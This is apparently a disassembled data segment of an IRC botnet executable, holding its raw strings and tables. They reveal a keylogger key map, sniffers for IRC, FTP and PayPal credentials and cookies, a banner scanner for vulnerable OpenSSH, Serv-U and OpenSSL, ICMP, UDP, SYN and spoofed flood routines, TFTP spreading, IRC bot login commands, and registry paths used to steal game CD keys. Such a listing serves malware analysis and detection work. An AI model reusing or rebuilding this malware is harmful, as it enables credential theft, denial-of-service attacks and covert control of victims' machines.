dword_437144 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: seg000:00411505o
aFailedToSta_38 db '- Failed to start server on Port %d.',0
align 4
dword_437178 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: seg000:004114D0o
aFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0
align 8
dword_4371B8 dd 234032Dh, 6B636F73h, 3023473h, 6C43202Dh, 746E6569h
; DATA XREF: seg000:00411468o
dd 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h
dd 3A732520h, 202C6425h, 76726553h, 74207265h, 61657268h
dd 25203A64h, 2E64h, 0
dd 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh
dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh
dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0
aTftpTransferCo db '[TFTP]: transfer complete to: %s',0
align 8
dw 8
unicode 0, <>,0
aB_0: ; DATA XREF: seg000:loc_411F36o
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_437A2C dd 38h, 38000000h, 2 dup(0) ; DATA XREF: seg000:004120FDo
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_437A64 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: sub_411D74+ACo
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_411D74+86o
align 4
asc_437A94: ; DATA XREF: sub_411D74+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: seg000:0041206Fo
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:0041202Co
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:00411EE2o
align 10h
dd offset dword_438358
dd offset off_438354
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: seg002:00437AECo
align 10h
aFtp db 'FTP',0 ; DATA XREF: seg002:00437AE8o
off_438354 dd offset dword_434F60+2E9h ; DATA XREF: seg002:00437AE4o
dword_438358 dd 544F42h, 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
; DATA XREF: seg002:00437AE0o
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
dword_438434 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:004121ADo
aSocketFailedRe db '- socket() failed, returned %d',0
align 10h
aHashin db ':!hashin',0 ; DATA XREF: sub_4124AD+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_4124AD+EEo
align 4
aIdent db ':!ident',0 ; DATA XREF: sub_4124AD+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_4124AD+C8o
a_login db ':.Login',0 ; DATA XREF: sub_4124AD+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_4124AD+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_4124AD+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_4124AD+84o
a366 db '366 ',0 ; DATA XREF: sub_4124AD+73o
align 10h
a302_0 db '302 ',0 ; DATA XREF: sub_4124AD:loc_41250Fo
align 4
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_4124AD+4Do
align 10h
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_4124AD+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_4124AD+2Bo
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_4124AD+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_4125C4+62o
aOper db 'oper ',0 ; DATA XREF: sub_4125C4+51o
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_4125C4:loc_412604o
; sub_41263A+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_4125C4+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_4125C4+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_41263A+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_41263A+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_41263A:loc_41268Bo
align 4
a220 db '220 ',0 ; DATA XREF: sub_41263A+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_41263A+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_4126C1+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_4126C1+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_4126C1+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_4126C1:loc_412701o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_4126C1+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_4126C1+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_412748+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_412748:loc_412788o
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_412748+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_412748+5o
align 4
unk_4385CC db 2Dh ; - ; DATA XREF: seg000:00412B83o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_438604 db 2Dh ; - ; DATA XREF: seg000:00412B17o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43863C db 2Dh ; - ; DATA XREF: seg000:00412AE4o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_438670 db 2Dh ; - ; DATA XREF: seg000:00412AB8o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4386A4 db 2Dh ; - ; DATA XREF: seg000:00412A89o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4386D8 db 2Dh ; - ; DATA XREF: seg000:004128F8o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
unk_438708 db 2Dh ; - ; DATA XREF: seg000:00412872o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_43875C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: seg000:00412F56o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 6F727265h
dd 65732072h, 6E69646Eh, 61702067h, 74656B63h, 6F742073h
dd 2E732520h, 20642520h, 6B636170h, 20737465h, 746E6573h
dd 6572202Ch, 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h
dd 202D0302h, 656E6F64h, 74697720h, 73252068h, 6F6C6620h
dd 7420646Fh, 7325206Fh, 6573202Eh, 2520746Eh, 61702064h
dd 74656B63h, 20402073h, 424B6425h, 6365732Fh, 64252820h
dd 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 61766E69h, 2064696Ch
dd 67726174h, 69207465h, 70h, 234032Dh, 706D6369h, 202D0302h
dd 73746573h, 6F6B636Fh, 29287470h, 69616620h, 2C64656Ch
dd 74657220h, 656E7275h, 64252064h, 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_438984 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_413991+295o
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 0
dd 234032Dh, 2706374h, 45202D03h, 726F7272h, 6E657320h
dd 676E6964h, 63617020h, 7374656Bh, 206F7420h, 203A5049h
dd 202E7325h, 6B636150h, 20737465h, 746E6573h, 6425203Ah
dd 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 234032Dh
dd 2706374h, 44202D03h, 20656E6Fh, 68746977h, 20732520h
dd 6F6F6C66h, 6F742064h, 3A504920h, 2E732520h, 6E655320h
dd 25203A74h, 61702064h, 74656B63h, 20297328h, 64252040h
dd 732F424Bh, 28206365h, 424D6425h, 2E29h, 234032Dh, 2706374h
dd 49202D03h, 6C61766Eh, 74206469h, 65677261h, 50492074h
dd 2Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6573203Ah
dd 636F7374h, 74706F6Bh, 66202928h, 656C6961h, 72202C64h
dd 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 2706374h
dd 45202D03h, 726F7272h, 6F73203Ah, 74656B63h, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 6E757374h, 2696D61h, 44202D03h, 20656E6Fh
dd 68746977h, 6F6C6620h, 202C646Fh, 70206425h, 656B6361h
dd 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6C616320h, 676E696Ch, 74657320h, 6B636F73h
dd 2874706Fh, 57202E29h, 65474153h, 73614C74h, 72724574h
dd 2928726Fh, 74657220h, 736E7275h, 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0 ; DATA XREF: seg000:00414F3Ao
align 10h
dword_438D80 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415236+35o
dword_438D94 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415236+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4152AE+60o
align 4
dword_438DCC dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_41534E:loc_415383o
dword_438DE0 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_41534E+20o
dword_438DF4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: seg000:0041546Bo
dd 6574656Ch, 0
dword_438E10 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: seg000:004153CEo
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: seg000:004154CFo
aWindow db 'Window',0 ; DATA XREF: sub_4156F9+23o
; sub_4158F2+26o
align 10h
dd 80000001h
off_438E44 dd offset aSoftwareValveC ; DATA XREF: sub_415B31+Cr
; sub_415B31+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_438E50 dd 2 dup(0) ; DATA XREF: sub_415B31+26o
dd 80000001h, 439FE8h, 439FDCh, 439FCCh, 2 dup(0)
dd 80000001h, 439FACh, 439FA8h, 439F94h, 2 dup(0)
dd 80000001h, 439F70h, 439FA8h, 439F64h, 2 dup(0)
dd 80000001h, 439F40h, 439F38h, 439F24h, 2 dup(0)
dd 80000001h, 439F10h, 439F00h, 439EE4h, 2 dup(0)
dd 80000001h, 439EA0h, 43A028h, 439E8Ch, 2 dup(0)
dd 80000002h, 439E60h, 439E54h, 439E34h, 2 dup(0)
dd 80000002h, 439E00h, 43A028h, 439DE8h, 2 dup(0)
dd 80000002h, 439DB4h, 43A028h, 439D9Ch, 2 dup(0)
dd 80000002h, 439D84h, 43A028h, 439D6Ch, 2 dup(0)
dd 80000002h, 439D30h, 43FDB4h, 439D20h, 2 dup(0)
dd 80000002h, 439CE8h, 43FDB4h, 439CD4h, 2 dup(0)
dd 80000002h, 439C88h, 43FDB4h, 439C68h, 2 dup(0)
dd 80000002h, 439C18h, 43FDB4h, 439BE8h, 2 dup(0)
dd 80000002h, 439BACh, 43FDB4h, 439B98h, 2 dup(0)
dd 80000002h, 439B60h, 43FDB4h, 439B50h, 2 dup(0)
dd 80000002h, 439B00h, 43FDB4h, 439AD0h, 2 dup(0)
dd 80000002h, 439A90h, 43FDB4h, 439A70h, 2 dup(0)
dd 80000002h, 439A40h, 43FDB4h, 439A20h, 2 dup(0)
dd 80000002h, 4399E4h, 43FDB4h, 4399D0h, 2 dup(0)
dd 80000002h, 439988h, 43FDB4h, 439964h, 2 dup(0)
dd 80000002h, 439910h, 43FDB4h, 4398E0h, 2 dup(0)
dd 80000002h, 439890h, 43FDB4h, 439864h, 2 dup(0)
dd 80000002h, 439824h, 43981Ch, 4397FCh, 2 dup(0)
dd 80000002h, 4397B8h, 43FDB4h, 43979Ch, 2 dup(0)
dd 80000002h, 439750h, 43FDB4h, 439728h, 2 dup(0)
dd 80000002h, 4396F4h, 43FDB4h, 4396E8h, 2 dup(0)
dd 80000002h, 4396B4h, 43FDB4h, 4396A8h, 2 dup(0)
dd 80000002h, 439674h, 43FDB4h, 439668h, 2 dup(0)
dd 80000002h, 439634h, 43FDB4h, 439628h, 2 dup(0)
dd 80000002h, 4395ECh, 43FDB4h, 4395D8h, 2 dup(0)
dd 80000002h, 43959Ch, 43FDB4h, 439588h, 2 dup(0)
dd 80000002h, 439558h, 43A028h, 43953Ch, 2 dup(0)
dd 80000002h, 43951Ch, 439514h, 4394F0h, 2 dup(0)
dd 80000002h, 4394D4h, 439514h, 4394B4h, 2 dup(0)
dd 80000002h, 439494h, 439514h, 439470h, 2 dup(0)
dd 80000002h, 439458h, 439514h, 439454h, 2 dup(0)
dd 80000002h, 439438h, 439428h, 439420h, 2 dup(0)
dd 80000002h, 4393ECh, 42D8D8h, 4393D4h, 2 dup(0)
dd 80000002h, 439398h, 43938Ch, 439364h, 439354h, 439340h
dd 80000002h, 43931Ch, 439310h, 4392FCh, 4392ECh, 4392E4h
dd 80000002h, 43931Ch, 439310h, 4392B8h, 4392ECh, 4392B0h
dd 80000002h, 43931Ch, 439310h, 439280h, 4392ECh, 439278h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
